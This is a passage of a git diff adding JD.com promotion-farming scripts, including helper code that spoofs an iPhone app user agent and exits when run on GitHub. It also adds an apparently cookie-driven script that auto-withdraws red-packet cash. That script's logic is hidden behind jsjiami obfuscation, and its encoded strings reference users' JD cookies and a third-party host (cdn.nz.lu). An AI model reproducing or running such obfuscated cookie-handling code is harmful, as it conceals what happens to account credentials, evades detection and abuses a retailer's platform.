console.log(`${turnTableId[i].name} ${data.errorMessage}`) + } else { + console.log(`${turnTableId[i].name} ${JSON.stringify(data)}`) + } + } + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function getEid(arr) { + return new Promise(resolve => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${arr.a}`, + body: `d=${arr.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", + "User-Agent": $.UA + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]); + eid = data.eid + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function getUA() { + $.UA = `jdapp;iPhone;10.1.0;14.3;${$.UUID};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167774;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} + +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_speed_redpocke.js b/jd_speed_redpocke.js new file mode 100644 index 0000000..19f164a --- /dev/null +++ b/jd_speed_redpocke.js @@ -0,0 +1,27 @@ +/* +京东极速版红包 +自动提现微信现金 +更新时间:2021-8-2 +活动时间:2021-4-6至2021-5-30 +活动地址:https://prodev.m.jd.com/jdlite/active/31U4T6S4PbcK83HyLPioeCWrD63j/index.html +活动入口:京东极速版-领红包 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东极速版红包 +20 0,22 * * * jd_speed_redpocke.js, tag=京东极速版红包, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "20 0,22 * * *" script-path=jd_speed_redpocke.js,tag=京东极速版红包 + +===============Surge================= +京东极速版红包 = type=cron,cronexp="20 0,22 * * *",wake-system=1,timeout=3600,script-path=jd_speed_redpocke.js + +============小火箭========= +京东极速版红包 = type=cron,script-path=jd_speed_redpocke.js, cronexpr="20 0,22 * * *", timeout=3600, enable=true +*/ +var _0xodf='jsjiami.com.v6',_0xodf_=['‮_0xodf'],_0x16b2=[_0xodf,'546w6YeRCg==','eHh4QXI=','UmRPWWk=','Z3B4cmk=','VGFrQVc=','RWlPZXQ=','SnNKYVc=','MzEw','akl6alQ=','REFZX0RBWV9SRURfUEFDS0VUX1NJR04=','ZGF5RGF5UmVkUGFja2V0','YXBDYXNoV2l0aERyYXc=','ZWdOVHA=','V3RKQ0E=','clJodG4=','cXdJdEM=','ZmlNc0k=','ZWRHdHA=','S2ZDSEo=','RXFEQ3g=','Wk9pQk0=','RkFncmQ=','a1NObXA=','S0lvRnE=','QkhleXA=','WUpwT1A=','SG92WGM=','c3RhdHVz','VkpydEI=','TGJZRW4=','YldLS0c=','5p6B6YCf54mI562+5Yiw5o+Q546w546w6YeR5oiQ5Yqf77yB','5p6B6YCf54mI562+5Yiw5o+Q546w546w6YeR77ya5byC5bi4Og==','YWN0aXZpdGllc19wbGF0Zm9ybQ==','NEFWUWFvK2VIOFE4a3ZtWG5XbWtHOGVmL2ZOcjVmZGVqbkQ5KzlVZ2JlYz0=','aHR0cHM6Ly9hcGkubS5qZC5jb20v','cGFydGljaXBhdGVJbnZpdGVUYXNr','aHR0cHM6Ly9hc3NpZ25tZW50LmpkLmNvbQ==','aHR0cHM6Ly9hc3NpZ25tZW50LmpkLmNvbS8=','ZE11dnU=','SVNDaXU=','cXNJWFA=','ZUJlb0k=','dHBnSnA=','bWVzc2FnZQ==','VVJkYmQ=','SnBoZ0U=','VEhvZ20=','U1BSSU5HX0ZFU1RJVkFMX1JFRF9FTlZFTE9QRQ==','SkVZYWg=','UEJ0Wmg=','VVFxbXY=','cmZjdnA=','eEhxd1g=','WnBxcnA=','QUFZUmU=','R1dsbkc=','d1l5Slg=','eEtFT3c=','Um12cG8=','eHNNZkE=','aUtSVEU=','VUZjUnk=','QlF3SFE=','WFhqSFY=','V1lUR0Q=','Y1dFekc=','dWhvenA=','akxscHk=','ckNuSEQ=','Uk5zUlI=','VmFUc0E=','RlJsRko=','YmRMWms=','Wk5mWmQ=','dGxmZHc=','SEdxeUY=','cUdQZkc=','YkxadUs=','RlFNZGc=','VVBkZUM=','U0t5Rkk=','ZlN0d2k=','5o+Q546w6Zu26ZKx57uT5p6c77ya','cm9sbmg=','U1VkVkQ=','WVdnUHA=','R1ptb2s=','5o+Q546w5oiQ5Yqf77yB','5o+Q546w5oiQ5Yqf77yBCg==','ZktYaGE=','Y0VsQWw=','5o+Q546w5aSx6LSl77ya','aU5RaEQ=','YXBwaWRTaWdu','U0t0aFk=','UEV6bVM=','VE1jUU0=','YXFjVk4=','ZnVuY3Rpb25JZD1UYXNrSW52aXRlU2VydmljZSZib2R5PQ==','Um91Rkw=','Q01Yak4=','JmFwcGlkPW1hcmtldC10YXNrLWg1JnV1aWQ9Jl90PQ==','UWJHSVg=','YW5CaWo=','TVFBdkU=','T0FsRVc=','Q1NZeUI=','Q0diaE0=','TWJkeng=','QXNpWHo=','RHRNZHk=','aVh5TUM=','5o+Q546w5byC5bi477ya','ckJ1d1M=','dWFtbE0=','QWtKSGY=','SEp3WWI=','ZnVuY3Rpb25JZD0=','anNMWW8=','JmFwcGlkPWFjdGl2aXRpZXNfcGxhdGZvcm0mY2xpZW50PUg1JmNsaWVudFZlcnNpb249MS4wLjA=','THRTeGs=','TnJVZlc=','ZEV3RWM=','enpZcGQ=','dnNtSXc=','Qnd6bmM=','enZpaUI=','YldOVVI=','ZFRKeGs=','dkpPU20=','Y3Vsa3g=','UUx2eXI=','ckNwbk0=','c29lbFY=','bGRvT08=','V096QVA=','bHlCaGc=','anRaYmI=','THBiYlM=','RFR4dEM=','Y2xpZW50','Y2xpZW50VmVyc2lvbg==','MS4wLjA=','MTUwOTc=','SnluUVo=','TG5iT2g=','aUhkamg=','ZmhDUEg=','RWhYd0w=','QXBUVVo=','aHR0cHM6Ly9tZS1hcGkuamQuY29tL3VzZXJfbmV3L2luZm8vR2V0SkRVc2VySW5mb1VuaW9u','bWUtYXBpLmpkLmNvbQ==','Ki8q','a2VlcC1hbGl2ZQ==','Li9VU0VSX0FHRU5UUw==','SkRVQQ==','amRhcHA7aVBob25lOzkuNC40OzE0LjM7bmV0d29yay80ZztNb3ppbGxhLzUuMCAoaVBob25lOyBDUFUgaVBob25lIE9TIDE0XzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBNb2JpbGUvMTVFMTQ4O3N1cHBvcnRKRFNIV0svMQ==','emgtY24=','aHR0cHM6Ly9ob21lLm0uamQuY29tL215SmQvbmV3aG9tZS5hY3Rpb24/c2NlbmV2YWw9MiZ1ZmM9Jg==','cU14U2Y=','WXJZanI=','clhTeXc=','bGFObk4=','eWhUZGU=','b3NNeFY=','Z010Wms=','d1VHQVU=','VlpaQnM=','T1pRZUc=','RUFuQ08=','bHhSSmE=','SGlRSGU=','dnJHRVI=','Wm5MWno=','cHZiZno=','UVRhSng=','Q2p0YkQ=','UmFIWE8=','cnNoUXY=','S1VBelA=','bEJZZlc=','dGltT2w=','Y29jSm4=','SkRfVVNFUl9BR0VOVA==','bWpIU3I=','VVdVQlo=','RXlSZFg=','VXdsekw=','a3dodlE=','WXJaek0=','SEVLU1Y=','RGlsUFg=','V2Nsem8=','RWlianY=','VXFpT2U=','WnhmcU0=','ZmxJUFY=','RHZieWw=','YVhpY0Y=','clJ2R3o=','b2FVUWs=','SU9STXg=','ZUlzbXU=','WndVSXo=','YU5Kdm0=','UG5DTVc=','SVdMY2w=','dHFjRE8=','TlFQYm0=','WUxMUWc=','cXRFdFI=','V05uS1A=','RFh1QWM=','amxObFg=','dlRrcUU=','VGxBcm8=','RUVlb0Q=','ak9ucUs=','UUZrTWE=','U0pXZW4=','UE1kdlQ=','bmxVWXk=','WWJwT0w=','QXdSeUE=','Yk1iSlI=','TGFzVHY=','5Lqs5Lic5pyN5Yqh5Zmo6K6/6Zeu5pWw5o2u5Li656m677yM6K+35qOA5p+l6Ieq6Lqr6K6+5aSH572R57uc5oOF5Ya1','TWNmQnc=','dFRERnE=','SXlPc3c=','SXBSZmo=','bGR0Qk4=','bFFoU2Y=','dUVlRk0=','bFZmeEg=','ZHRXRWk=','ZndVeVM=','UU9JdEY=','R2tOZm4=','YXFOWXE=','WGpHS1M=','amRzaWduLmNm','T0pEeGU=','ZndWUHY=','S2hOUVY=','YXBwbGljYXRpb24vanNvbg==','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM18yXzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzEzLjAuMyBNb2JpbGUvMTVFMTQ4IFNhZmFyaS82MDQuMSBFZGcvODcuMC40MjgwLjg4','TXpUR3U=','c25zdlY=','SG5yZGE=','WWpSV0w=','b0FpRlE=','VlNtTGk=','dW5KbFU=','dWNHa1Q=','QXV3VmI=','RkZZWVg=','Unp6bEM=','cnlrdVo=','a1NPSkM=','cEhzdXo=','aEVad1E=','aXpNcUk=','TEZEa3c=','aHR0cHM6Ly9jZG4ubnoubHUvZ2V0aDVzdA==','V0x6Z1k=','R3RHV1I=','RllCWnU=','SXFMRmM=','U2dMdlk=','UkFkTWk=','WHF5Z2k=','TG9mdmM=','cHZmTHY=','IGdldGg1c3QgQVBJ6K+35rGC5aSx6LSl77yM6K+35qOA5p+l572R6Lev6YeN6K+V','dktkbkc=','bmp1ZE4=','UGR3ZGg=','Skh3eVQ=','MDcyNDQ=','S0VKb00=','Z3R5TWI=','Q3ZUT1g=','Ym9keQ==','aWdhRkU=','dUdsTGw=','ZFJhZlg=','VEd4TG4=','YnlCRlo=','YVBsS3Y=','ZGpSWGM=','a3N4d3k=','WVFmTUQ=','eHJoRVg=','YXNzaWdu','YmxIdko=','d2VaWlE=','Z0lOdU8=','QUZxRHg=','S2RXcEw=','RFZ3am8=','YWV6bUc=','ZXVHaXk=','RlhmVWE=','WFV5REQ=','aVZDRVE=','cE5wY0k=','cFF2aHE=','Q0dwUWw=','TklOTGQ=','alZPS2E=','WEVMV3M=','Zm15TnQ=','c3BFeWM=','dWFQUWE=','WXdqWmo=','VWNJaG8=','S1NyRE4=','VWJrdU4=','aGpsT04=','YXNsSGE=','dXNBYVA=','bHlSZEI=','SER5d0k=','YnhVY0c=','ck1YUEY=','cXBmTmM=','WU5GQWY=','cklEaW8=','bWRGVFo=','d1ZISXg=','RE5RcG0=','S3hDWUg=','bEVmb2c=','bktmVEI=','YUlzWU8=','UnBNQmk=','c05rRHc=','elVFVnA=','TnhkSEU=','eEpTYkY=','5Lqs5Lic5p6B6YCf54mI57qi5YyF','aXNOb2Rl','Li9zZW5kTm90aWZ5','Li9qZENvb2tpZS5qcw==','RXU3LUUwQ1V6cVl5aFpKbzlkM1lrUQ==','OVdBMTJqWUd1bEFyeldTN3Zjcndodw==','a2V5cw==','Zm9yRWFjaA==','cHVzaA==','ZW52','SkRfREVCVUc=','ZmFsc2U=','bG9n','c3RyaW5naWZ5','aW5kZXhPZg==','R0lUSFVC','ZXhpdA==','Z2V0ZGF0YQ==','Q29va2llSkQ=','Q29va2llSkQy','Q29va2llc0pE','bWFw','Y29va2ll','ZmlsdGVy','c3RyaW5n','6K+35Yu/6ZqP5oSP5ZyoQm94SnPovpPlhaXmoYbkv67mlLnlhoXlrrkK5bu66K6u6YCa6L+H6ISa5pys5Y676I635Y+WY29va2ll','eGJ5ZmM=','WWF2UWE=','44CQ5o+Q56S644CR6K+35YWI6I635Y+W5Lqs5Lic6LSm5Y+35LiAY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tL2JlYW4vc2lnbkluZGV4LmFjdGlvbg==','TVROTXU=','V2R6Ync=','RGxLUUc=','T25yZ1U=','bG9nRXJy','bXNn','bmFtZQ==','Y1FIVWE=','aWRhbUQ=','WUNFemU=','bGVuZ3Ro','CuWmguaPkOekuua0u+WKqOeBq+eIhizlj6/lho3miafooYzkuIDmrKHlsJ3or5UK','VXNlck5hbWU=','Y2ZiQkc=','bWF0Y2g=','aW5kZXg=','SXlOT0w=','aXNMb2dpbg==','bmlja05hbWU=','aW1Iam8=','CioqKioqKuW8gOWni+OAkOS6rOS4nOi0puWPtw==','KioqKioqKioqCg==','ZlRPT0k=','44CQ5o+Q56S644CRY29va2ll5bey5aSx5pWI','5Lqs5Lic6LSm5Y+3','Cuivt+mHjeaWsOeZu+W9leiOt+WPlgpodHRwczovL2JlYW4ubS5qZC5jb20vYmVhbi9zaWduSW5kZXguYWN0aW9u','c2VuZE5vdGlmeQ==','Y29va2ll5bey5aSx5pWIIC0g','Cuivt+mHjeaWsOeZu+W9leiOt+WPlmNvb2tpZQ==','YWNSdGk=','QlZVQ28=','cGFyc2U=','Um9PTnA=','ZklTR2c=','Y2F0Y2g=','LCDlpLHotKUhIOWOn+WboDog','ZmluYWxseQ==','ZG9uZQ==','d29qako=','YVF6WEo=','YnpuWUE=','SGpKTVE=','RmRyaU0=','R3lLam0=','U01OTko=','IEFQSeivt+axguWksei0pe+8jOivt+ajgOafpee9kei3r+mHjeivlQ==','ZnlmTFo=','d2FpdA==','VlJ3VXU=','Ukt6c1I=','ZGJmdVQ=','ek9QYks=','QXlBbnU=','b1dZRnM=','U2R6YVM=','b0tXQWw=','b0VYd2U=','b2JqZWN0','ZGF5RGF5U2lnbkdldFJlZEVudmVsb3BlU2lnblNlcnZpY2U=','YXBTaWduSW5fZGF5','YXBpLm0uamQuY29t','YXBwbGljYXRpb24vanNvbiwgdGV4dC9wbGFpbiwgKi8q','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','aHR0cHM6Ly9kYWlseS1yZWRwYWNrZXQuamQuY29t','emgtQ04semgtSGFucztxPTAuOQ==','Li9KU19VU0VSX0FHRU5UUw==','SlNVQQ==','J2pkbHRhcHA7aVBhZDszLjEuMDsxNC40O25ldHdvcmsvd2lmaTtNb3ppbGxhLzUuMCAoaVBhZDsgQ1BVIE9TIDE0XzQgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBNb2JpbGUvMTVFMTQ4O3N1cHBvcnRKRFNIV0svMQ==','aHR0cHM6Ly9kYWlseS1yZWRwYWNrZXQuamQuY29tLw==','Z3ppcCwgZGVmbGF0ZSwgYnI=','WnZuekY=','aml5bU8=','TFJNZEs=','SHNoaFA=','aHR0cHM6Ly9hcGkubS5qZC5jb20=','WFhvcFM=','Tm1CSHg=','aktpdEY=','U2FZamM=','YmxIcXY=','THdzT2U=','WnBMQVk=','SlNfVVNFUl9BR0VOVA==','T0pCb1Y=','QkpreVI=','VVNFUl9BR0VOVA==','SUNVVWE=','RnJPcFI=','Q2RnVlc=','bnZnbkw=','cG9zdA==','RGVJWVg=','WXVkb2E=','U0lHTl9VUkw=','dG9PYmo=','Y1NNT0c=','Y29kZQ==','SlVqeUY=','U1pIQkk=','eGxUTFc=','ZGF0YQ==','cmV0Q29kZQ==','5p6B6YCf54mI562+5Yiw5o+Q546w77ya562+5Yiw5oiQ5YqfCg==','ZkVEdGo=','Q3Zrc00=','5p6B6YCf54mI562+5Yiw5o+Q546w77ya562+5Yiw5aSx6LSlOg==','cmV0TWVzc2FnZQ==','Wm1OUVk=','S294WEI=','Tk9IWGo=','cVNhenU=','UGhOYlI=','ZXJyTXNn','5p6B6YCf54mI562+5Yiw5o+Q546w77ya562+5Yiw5byC5bi4Og==','RnRMY1c=','dUZzR1U=','Rml4bFI=','a0dCcXc=','cmV0Y29kZQ==','MTAwMQ==','dXNlckluZm8=','UEVnT0Q=','c3ByaW5nX3Jld2FyZF9xdWVyeQ==','SFhaNjBoZTVYeEc4WE5VRjJMU3JaZw==','RlNzaUY=','Vk9weVc=','S0hzTUo=','UmZjdUo=','cFdMeHI=','ZFFUeVE=','Wkd4ZXQ=','TWlOV0Q=','bkVxbG8=','TG1Dd1Y=','aGFzT3duUHJvcGVydHk=','bXd0QWw=','YmFzZUluZm8=','bmlja25hbWU=','Z2V0','a3NpSlQ=','YlJDSG0=','Z1JITFE=','Zmxvb3I=','d1l1V0M=','cmFuZG9t','VkhVeEQ=','Z05Ba2U=','dFdXam0=','QVV5TWk=','bHp6Z0M=','a3ZXYmo=','5p6B6YCf54mI562+5Yiw5p+l6K+i5aWW5ZOB77ya5aSx6LSlOg==','VnRRTlA=','aFBiRGo=','Z05rbXE=','TnpxUEM=','5Lqs5Lic5pyN5Yqh5Zmo6L+U5Zue56m65pWw5o2u','b0ZXYW8=','RnlmSkY=','YmZZbEU=','ZXRrdmU=','S05sUE8=','6I635b6X5LyY5oOg5Yi4','aHR0cHM6Ly9wcm9kZXYubS5qZC5jb20=','aHR0cHM6Ly9wcm9kZXYubS5qZC5jb20v','a0JHV1k=','bkRCUW0=','c3ByaW5nX3Jld2FyZF9yZWNlaXZl','ZVRndk8=','RHhCR1M=','aWR0Z3M=','b2dvQnY=','YmtRa0g=','UVJlcXg=','bG5jaFM=','SkJrYno=','VHVrbmU=','WktvdEk=','cE1GZ04=','VUFaZ1g=','eHN6U2w=','bGhocXI=','aUZxQUQ=','R0VMaHA=','Tmx1ZGE=','aHR0cHM6Ly9hcGkubS5qZC5jb20vPw==','cGJqSmE=','Yk5ZRVE=','VWpIU3M=','Zk5MR2E=','bUF0dGg=','aE5XY2o=','VUJtbkw=','cmVjZWl2ZWQ=','cHJpemVUeXBl','RFBhQlY=','RUF3ZlY=','eHFpdXk=','cHJpemVEZXNj','V2RxREg=','UWJjY2I=','5p6B6YCf54mI562+5Yiw5p+l6K+i5aWW5ZOB77ya5byC5bi4Og==','aHR0cHM6Ly9hcGkubS5qZC5jb20vP2Z1bmN0aW9uSWQ9','JmJvZHk9','UURpVUk=','JnQ9','bm93','JmFwcGlkPWFjdGl2aXRpZXNfcGxhdGZvcm0=','cFlBVWw=','enZsQlY=','TUxPZUE=','WVRyS2o=','ekliUlI=','VER2RHA=','ZlVOVFc=','aGdwQ3A=','U0Vaak8=','WVhJRFc=','UEdjQmM=','SXJRVUk=','b2V2ank=','T1hpQ3Y=','c3ByaW5nX3Jld2FyZF9saXN0','WnFUZXo=','SVJWdlY=','cXh1ZW8=','c2JadVE=','dGdPUm4=','d1hySnQ=','R2x3emQ=','S01jYnc=','S2d1cmk=','aXRlbXM=','aGFQcGg=','c3RhdGU=','RVhleEw=','Um1LYkU=','5p6B6YCf54mI562+5Yiw5o+Q546w546w6YeR77ya5aSx6LSlOg==','5Y675o+Q546w','YW1vdW50','5b6u5L+h546w6YeR','5b6u5L+h546w6YeR77yM','R3ZHaEU=','cG9vbEJhc2VJZA==','cHJpemVHcm91cElk','cHJpemVCYXNlSWQ=','dWlGcUY=','WE9MWVA=','YmVuUmg=','YmJTdEU=','cHJpemVWYWx1ZQ==','c2lnblByaXplRGV0YWlsTGlzdA==','VmN2U1M=','Z2J1RXA=','Y0RleEI=','TG5EdVM=','enlsYVY=','VEdrYkI=','S1V2ZFk=','eFVIalY=','TGR4bWQ=','d0tGUmY=','WWZkR3U=','UG1oTno=','eXVFRWg=','SHZKZ2o=','ZnJiY0s=','TGxMcnY=','U3VKYVQ=','cHJpemVEcmF3QmFzZVZvUGFnZUJlYW4=','cHJpemVTdGF0dXM=','WW5IdFM=','U0lBUUk=','d2xCVFg=','5p6B6YCf54mI562+5Yiw5o+Q546w77yM5Y675o+Q546w','SlZDQ3g=','BejXsSJXjiNefHLnHqakmi.com.v6=='];if(function(_0x4f4d31,_0x3e2464,_0x2daa40){function _0x4b4e78(_0x5c13df,_0x472973,_0x357464,_0x3b24ae,_0x16f80b,_0xadf157){_0x472973=_0x472973>>0x8,_0x16f80b='po';var 